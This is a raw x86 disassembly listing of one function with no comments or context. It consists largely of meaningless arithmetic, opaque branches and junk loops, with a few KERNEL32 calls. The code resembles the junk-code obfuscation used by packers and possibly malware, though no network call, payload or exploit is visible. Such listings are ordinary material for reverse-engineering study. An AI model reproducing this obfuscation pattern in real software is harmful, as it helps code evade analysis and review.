movsx edx, word [0x100ad0c0]
mov eax, dword [ebp - 0x20]
imul eax, edx
test eax, eax
jne 0x1003ad3f
mov dword [ebp - 0x3dc], 0
jmp 0x1003ad49
mov dword [ebp - 0x3dc], 1
mov ecx, dword [ebp - 0x3dc]
not ecx
test ecx, ecx
je 0x1003adb6
mov byte [0x100ad00f], 0xf5
movsx edx, word [0x100ad11c]
mov dword [ebp - 0x28], edx
push 0
push 0xeb
mov eax, dword [0x100ad164]
push eax
mov ecx, dword [0x100ad160]
push ecx
call fcn.1007a8a0
mov ecx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x38]
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
movzx eax, word [0x100ad0ac]
cdq
mov ecx, dword [0x100ad0e8]
sub ecx, eax
mov eax, dword [0x100ad0ec]
sbb eax, edx
mov dword [0x100ad0e8], ecx
mov dword [0x100ad0ec], eax
mov byte [0x100ad00f], 0x4d
mov cl, byte [0x100ad072]
sub cl, 1
mov byte [0x100ad072], cl
mov edx, dword [0x100ad148]
mov eax, dword [0x100ad14c]
mov dword [ebp - 0x8d8], edx
mov dword [ebp - 0x8d4], eax
mov ecx, dword [ebp - 0x8d8]
or ecx, dword [ebp - 0x8d4]
je 0x1003adfc
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x3e0], edx
jmp 0x1003ae09
movzx eax, byte [0x100ad072]
mov dword [ebp - 0x3e0], eax
mov ecx, dword [ebp - 0x3e0]
xor edx, edx
mov dword [0x100ad160], ecx
mov dword [0x100ad164], edx
movzx eax, byte [ebp - 2]
test eax, eax
jne 0x1003ae31
mov dword [ebp - 0x3e4], 1
jmp 0x1003ae3b
mov dword [ebp - 0x3e4], 0
movsx ecx, word [0x100ad130]
test ecx, ecx
jne 0x1003ae52
mov dword [ebp - 0x3e8], 1
jmp 0x1003ae5c
mov dword [ebp - 0x3e8], 0
movzx eax, byte [ebp - 3]
imul eax, dword [ebp - 0x3e4]
mov edx, dword [0x100ad15c]
sub edx, dword [ebp - 0x3e8]
add eax, edx
cdq
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
mov eax, dword [0x100ad128]
mov ecx, dword [0x100ad12c]
mov dword [ebp - 0x8e0], eax
mov dword [ebp - 0x8dc], ecx
mov edx, dword [ebp - 0x8e0]
or edx, dword [ebp - 0x8dc]
je 0x1003aeb0
movzx eax, word [0x100ad120]
mov dword [ebp - 0x3ec], eax
jmp 0x1003aeba
movzx ecx, byte [ebp - 3]
mov dword [ebp - 0x3ec], ecx
mov eax, dword [ebp - 0x3ec]
cdq
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
movsx edx, word [0x100ad0e4]
mov eax, dword [0x100ad0a8]
add eax, edx
movzx ecx, word [ebp - 0x10]
movzx edx, word [0x100ad120]
and ecx, edx
sub eax, ecx
not eax
mov byte [0x100ad00f], al
movzx eax, byte [0x100ad00f]
mov ecx, dword [ebp - 0x20]
add ecx, 0x4d
cmp eax, ecx
jne 0x1003b2c3
movsx edx, word [0x100ad0bc]
mov eax, dword [ebp - 0x20]
add eax, 0x8297
cmp edx, eax
jne 0x1003b2c3
mov ecx, dword [0x100ad140]
xor edx, edx
mov dword [ebp - 0x8e8], ecx
mov dword [ebp - 0x8e4], edx
mov eax, dword [ebp - 0x8e4]
cmp eax, dword [ebp - 0x50]
ja 0x1003af4f
jb 0x1003af43
mov ecx, dword [ebp - 0x8e8]
cmp ecx, dword [ebp - 0x54]
jae 0x1003af4f
mov dword [ebp - 0x3f0], 1
jmp 0x1003af59
mov dword [ebp - 0x3f0], 0
cmp dword [0x100ad140], 0x38
jae 0x1003af6e
mov dword [ebp - 0x3f4], 1
jmp 0x1003af78
mov dword [ebp - 0x3f4], 0
mov edx, dword [ebp - 0x3f0]
cmp edx, dword [ebp - 0x3f4]
jle 0x1003b06b
mov dword [ebp - 0x154], 0x33
movzx eax, byte [ebp - 4]
and eax, 0xc8bb5012
mov dword [0x100ad0a8], eax
movsx eax, word [0x100ad0c0]
cdq
sub eax, 0x2eeda965
mov dword [ebp - 0x48], eax
movzx eax, byte [0x100ad00f]
cdq
mov ecx, eax
movsx eax, word [0x100ad0c0]
cdq
mov edx, dword [0x100ad0f8]
sub edx, eax
xor ecx, edx
mov dword [ebp - 0x24], ecx
mov eax, dword [0x100ad108]
mov ecx, dword [0x100ad10c]
mov dword [ebp - 0xa74], ecx
mov edx, 2
imul ecx, edx, 0x2e
mov word [ecx + 0x100d5678], ax
movzx edx, word [0x100ad0b8]
movsx eax, word [0x100ad0c0]
xor edx, eax
mov word [0x100ad0b8], dx
mov ecx, 2
imul edx, ecx, 0x8e90
mov ax, word [0x100ad0b0]
mov word [edx + 0x100c0320], ax
mov cx, word [ebp - 0x44]
mov word [0x100ad0c0], cx
movsx eax, byte [0x100ad043]
cdq
mov ecx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x30]
push esi
push ecx
push edx
push eax
call fcn.1007a8a0
mov byte [0x100ad043], al
mov edx, dword [ebp - 0x154]
add edx, 1
mov dword [ebp - 0x154], edx
cmp dword [ebp - 0x154], 0x3f7
jl 0x1003afd1
jmp 0x1003b26f
mov eax, dword [0x100ad160]
or eax, dword [0x100ad164]
jne 0x1003b08c
xor ecx, ecx
mov dword [ebp - 0x50c], 1
mov dword [ebp - 0x508], ecx
jmp 0x1003b097
xorps xmm0, xmm0
movlpd qword [ebp - 0x50c], xmm0
mov edx, dword [ebp - 0x50c]
cmp edx, dword [0x100ad0e8]
jne 0x1003b0b3
mov eax, dword [ebp - 0x508]
cmp eax, dword [0x100ad0ec]
je 0x1003b0c7
xor ecx, ecx
mov dword [ebp - 0x514], 1
mov dword [ebp - 0x510], ecx
jmp 0x1003b0d2
xorps xmm0, xmm0
movlpd qword [ebp - 0x514], xmm0
mov edx, dword [0x100ad0f8]
not edx
mov eax, dword [0x100ad0fc]
not eax
mov dword [ebp - 0x8f0], edx
mov dword [ebp - 0x8ec], eax
mov ecx, dword [ebp - 0x514]
cmp ecx, dword [ebp - 0x8f0]
jne 0x1003b109
mov edx, dword [ebp - 0x510]
cmp edx, dword [ebp - 0x8ec]
je 0x1003b115
mov dword [ebp - 0x3f8], 1
jmp 0x1003b11f
mov dword [ebp - 0x3f8], 0
mov eax, dword [ebp - 0x3f8]
not eax
test eax, eax
je 0x1003b17f
push 0
push 0x2066
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x44]
push edx
call fcn.1007a8a0
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
movsx eax, word [ebp - 0x14]
sub eax, dword [ebp - 0x28]
mov byte [ebp - 2], al
mov ecx, dword [0x100ad108]
mov edx, dword [0x100ad10c]
sub ecx, 0x9d5a
sbb edx, 0
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], edx
movsx eax, byte [0x100ad09a]
add eax, 0x59b5fad6
mov word [ebp - 8], ax
jmp 0x1003b26f
cmp dword [0x100ad100], 0
jne 0x1003b194
mov dword [ebp - 0x3fc], 1
jmp 0x1003b19e
mov dword [ebp - 0x3fc], 0
movsx ecx, byte [0x100ad00d]
mov edx, dword [ebp - 0x3fc]
sub edx, ecx
cmp edx, dword [0x100ad0e0]
jae 0x1003b207
movzx eax, word [0x100ad0f0]
sub eax, 0xb2ae
mov byte [0x100ad072], al
mov ecx, 8
shl ecx, 5
mov eax, dword [ebp - 0x48]
cdq
sub eax, dword [ecx + 0x100e6a58]
mov dword [ebp - 0x48], eax
movzx eax, byte [ebp - 2]
movsx edx, word [0x100ad11c]
add eax, edx
cdq
mov ecx, eax
mov esi, edx
mov eax, dword [ebp - 0x4c]
cdq
mov edi, dword [ebp - 0x54]
sub edi, eax
mov eax, dword [ebp - 0x50]
sbb eax, edx
xor ecx, edi
xor esi, eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], esi
jmp 0x1003b26f
movsx ecx, word [ebp - 0xc]
test ecx, ecx
je 0x1003b26f
movsx edx, word [0x100ad0c0]
imul eax, edx, 0x3b45
mov word [0x100ad0c4], ax
mov ecx, dword [ebp - 0x1c]
sub ecx, 0x12
mov word [0x100ad0b0], cx
mov edx, dword [ebp - 0x1c]
xor edx, 0x12b0070f
movsx eax, byte [0x100ad037]
or eax, edx
mov byte [0x100ad037], al
mov ecx, dword [0x100ad128]
mov edx, dword [0x100ad12c]
mov dword [ebp - 0xa78], edx
sub ecx, 0xc2711f74
mov word [0x100ad120], cx
mov ax, word [ebp - 0x44]
mov word [0x100ad0b0], ax
jmp 0x1003b2c3
mov byte [0x100ad00f], 0x4d
movzx edx, word [ebp - 0x10]
shl edx, 6
mov byte [str.px_04X_], dl
movzx eax, byte [ebp - 4]
movzx ecx, byte [ebp - 4]
imul eax, ecx
movzx edx, byte [ebp - 4]
add edx, eax
mov byte [ebp - 4], dl
mov eax, dword [0x100ad160]
or eax, dword [0x100ad164]
jne 0x1003b304
mov dword [ebp - 0x408], 1
jmp 0x1003b30e
mov dword [ebp - 0x408], 0
movsx ecx, word [ebp - 0xc]
movzx edx, byte [ebp - 4]
imul ecx, edx
test ecx, ecx
jne 0x1003b329
mov dword [ebp - 0x404], 1
jmp 0x1003b333
mov dword [ebp - 0x404], 0
movzx eax, byte [0x100ad00f]
imul eax, dword [0x100ad158]
not eax
imul eax, dword [ebp - 0x404]
test eax, eax
jne 0x1003b35a
mov dword [ebp - 0x1b0], 1
jmp 0x1003b364
mov dword [ebp - 0x1b0], 0
mov ecx, dword [ebp - 0x408]
sub ecx, dword [0x100ad0e0]
movsx edx, word [ebp - 0xc]
imul eax, edx, 0x9f5f
add ecx, eax
not ecx
sub ecx, dword [ebp - 0x1b0]
mov word [0x100ad0cc], cx
mov dword [ebp - 0x18], 0xdf52
movzx ecx, word [0x100ad0f0]
mov edx, dword [ebp - 0x20]
add edx, ecx
mov dword [ebp - 0x20], edx
mov eax, dword [0x100adbec]
mov dword [ebp - 0x2c], eax
movsx ecx, word [0x100ad0cc]
movsx edx, word [0x100ad0d0]
cmp ecx, edx
jl 0x1003b3c7
mov dword [ebp - 0x1b4], 1
jmp 0x1003b3d1
mov dword [ebp - 0x1b4], 0
movsx eax, word [0x100ad0cc]
cmp eax, 0x20
jl 0x1003b3e9
mov dword [ebp - 0x1b8], 1
jmp 0x1003b3f3
mov dword [ebp - 0x1b8], 0
mov ecx, dword [ebp - 0x1b4]
cmp ecx, dword [ebp - 0x1b8]
jl 0x1003b43d
movsx edx, byte [0x100ad073]
imul eax, edx, 0x991b
mov byte [0x100ad042], al
movzx eax, byte [ebp - 2]
and eax, dword [ebp - 0x1c]
movzx ecx, byte [0x100ad0a6]
xor ecx, dword [ebp - 0x48]
add eax, ecx
cdq
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
movsx edx, word [0x100ad11c]
sar edx, 8
mov byte [str.ZFreeSid], dl
xor eax, eax
jmp 0x1003b848
mov byte [0x100ad0a6], 0x8a
mov dword [ebp - 0x158], 0x214
jmp 0x1003b466
mov eax, dword [ebp - 0x158]
sub eax, 1
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0
jle 0x1003b4be
movsx eax, word [0x100ad0c4]
cdq
mov dword [ebp - 0x8f8], eax
mov dword [ebp - 0x8f4], edx
mov ecx, dword [ebp - 0x8f4]
cmp ecx, dword [0x100ad0fc]
jg 0x1003b4b0
jl 0x1003b4a1
mov edx, dword [ebp - 0x8f8]
cmp edx, dword [0x100ad0f8]
jae 0x1003b4b0
push str.gdi32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov word [ebp - 0x14], ax
mov ax, word [ebp - 8]
add ax, 1
mov word [ebp - 8], ax
jmp 0x1003b457
movzx ecx, byte [0x100ad0a6]
mov edx, dword [ebp - 0x20]
add edx, 1
cmp ecx, edx
jne 0x1003b68e
mov al, byte [ebp - 0x24]
mov byte [0x100ad09a], al
imul ecx, dword [0x100ad158], 0x9bdd
mov dword [0x100ad0e0], ecx
mov byte [0x100ad043], 0xe6
movzx edx, byte [ebp - 3]
sub edx, 0x2b
mov eax, dword [0x100ad158]
sub eax, edx
mov dword [0x100ad158], eax
movsx ecx, byte [0x100ad00d]
xor ecx, dword [0x100ad0b4]
movsx edx, byte [0x100ad00d]
add edx, ecx
mov byte [0x100ad00d], dl
mov eax, dword [ebp - 0x2c]
cdq
mov ecx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x38]
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov ecx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x38]
sub ecx, eax
sbb esi, edx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], esi
mov dl, byte [0x100ad042]
mov byte [0x100ad073], dl
movzx eax, byte [ebp - 2]
cdq
xor eax, 0xfbb251e3
mov ecx, dword [ebp - 0x2c]
xor ecx, dword [ebp - 0x20]
movsx edx, byte [0x100ad00d]
sub edx, dword [ebp - 0x24]
add ecx, edx
sub eax, ecx
mov byte [ebp - 1], al
imul eax, dword [ebp - 0x24], 0x83
mov byte [str.ZFreeSid], al
movsx ecx, byte [0x100ad037]
test ecx, ecx
je 0x1003b59b
movzx eax, word [ebp - 8]
cdq
mov dword [ebp - 0x51c], eax
mov dword [ebp - 0x518], edx
jmp 0x1003b5b2
mov edx, dword [0x100ad110]
mov eax, dword [0x100ad114]
mov dword [ebp - 0x51c], edx
mov dword [ebp - 0x518], eax
mov cl, byte [ebp - 0x51c]
mov byte [0x100ad043], cl
cmp dword [0x100ad0c8], 1
jne 0x1003b68e
movzx edx, byte [ebp - 2]
test edx, edx
je 0x1003b62f
mov eax, dword [str.The_response_from]
mov dword [ebp - 0x928], eax
mov ecx, dword [0x1009083c]
mov dword [ebp - 0x924], ecx
mov edx, dword [0x10090840]
mov dword [ebp - 0x920], edx
mov eax, dword [0x10090844]
mov dword [ebp - 0x91c], eax
mov cx, word [0x10090848]
mov word [ebp - 0x918], cx
mov dl, byte [0x1009084a]
mov byte [ebp - 0x916], dl
lea eax, [ebp - 0x928]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cdq
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
jmp 0x1003b68e
mov byte [0x100ad0a6], 0x8a
xor eax, eax
mov dword [0x100ad148], 0xccfc4ccf
mov dword [0x100ad14c], eax
movsx ecx, word [0x100ad0bc]
sub ecx, 0xeafa
mov dword [ebp - 0x24], ecx
movzx edx, byte [ebp - 4]
test edx, edx
jne 0x1003b6d2
xor eax, eax
mov dword [ebp - 0x900], 1
mov dword [ebp - 0x8fc], eax
jmp 0x1003b6dd
xorps xmm0, xmm0
movlpd qword [ebp - 0x900], xmm0
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0xa7c], edx
mov esi, dword [ebp - 0x900]
sub esi, ecx
xor esi, dword [0x100ad150]
movsx eax, byte [0x100ad00d]
add eax, dword [ebp - 0x4c]
movzx ecx, byte [ebp - 2]
movsx edx, byte [0x100ad00d]
imul ecx, edx
add eax, ecx
cdq
and esi, eax
mov word [0x100ad0c4], si
mov eax, dword [ebp - 0x20]
xor eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x20]
add ecx, eax
mov dword [ebp - 0x20], ecx
movsx edx, word [ebp - 0xc]
sub edx, 0xf6
mov byte [0x100ad0a6], dl
movzx eax, word [ebp - 0x10]
cdq
mov ecx, eax
mov esi, edx
add ecx, dword [0x100ad0f8]
adc esi, dword [0x100ad0fc]
movsx edx, word [0x100ad0d0]
imul eax, edx, 0xce0c
cdq
sub ecx, eax
sbb esi, edx
mov dword [ebp - 0x908], ecx
mov dword [ebp - 0x904], esi
mov eax, dword [ebp - 0x908]
or eax, dword [ebp - 0x904]
jne 0x1003b785
mov ecx, 1
mov word [ebp - 0x76], cx
jmp 0x1003b78b
xor edx, edx
mov word [ebp - 0x76], dx
mov ax, word [ebp - 0x76]
mov word [0x100ad0ac], ax
movsx ecx, byte [str.ZFreeSid]
movzx edx, word [ebp - 8]
cmp ecx, edx
jne 0x1003b7b0
mov dword [ebp - 0x1bc], 1
jmp 0x1003b7ba
mov dword [ebp - 0x1bc], 0
movsx eax, byte [str.ZFreeSid]
cmp eax, 0x18
jne 0x1003b7d2
mov dword [ebp - 0x1c0], 1
jmp 0x1003b7dc
mov dword [ebp - 0x1c0], 0
mov ecx, dword [ebp - 0x1bc]
cmp ecx, dword [ebp - 0x1c0]
jge 0x1003b843
mov edx, dword [ebp - 0x4c]
xor edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x4c]
sub eax, edx
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x18]
imul ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x18]
xor edx, ecx
mov dword [ebp - 0x18], edx
movsx eax, word [0x100ad130]
cdq
sub eax, 0x4c2fec55
mov byte [0x100ad00e], al
movzx eax, byte [ebp - 3]
movzx ecx, byte [ebp - 3]
movsx edx, word [ebp - 0x14]
xor ecx, edx
movsx edx, word [0x100ad11c]
xor ecx, edx
and eax, ecx
mov byte [0x100ad073], al
xor eax, eax
mov dword [ebp - 0x54], 0x83034951
mov dword [ebp - 0x50], eax
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret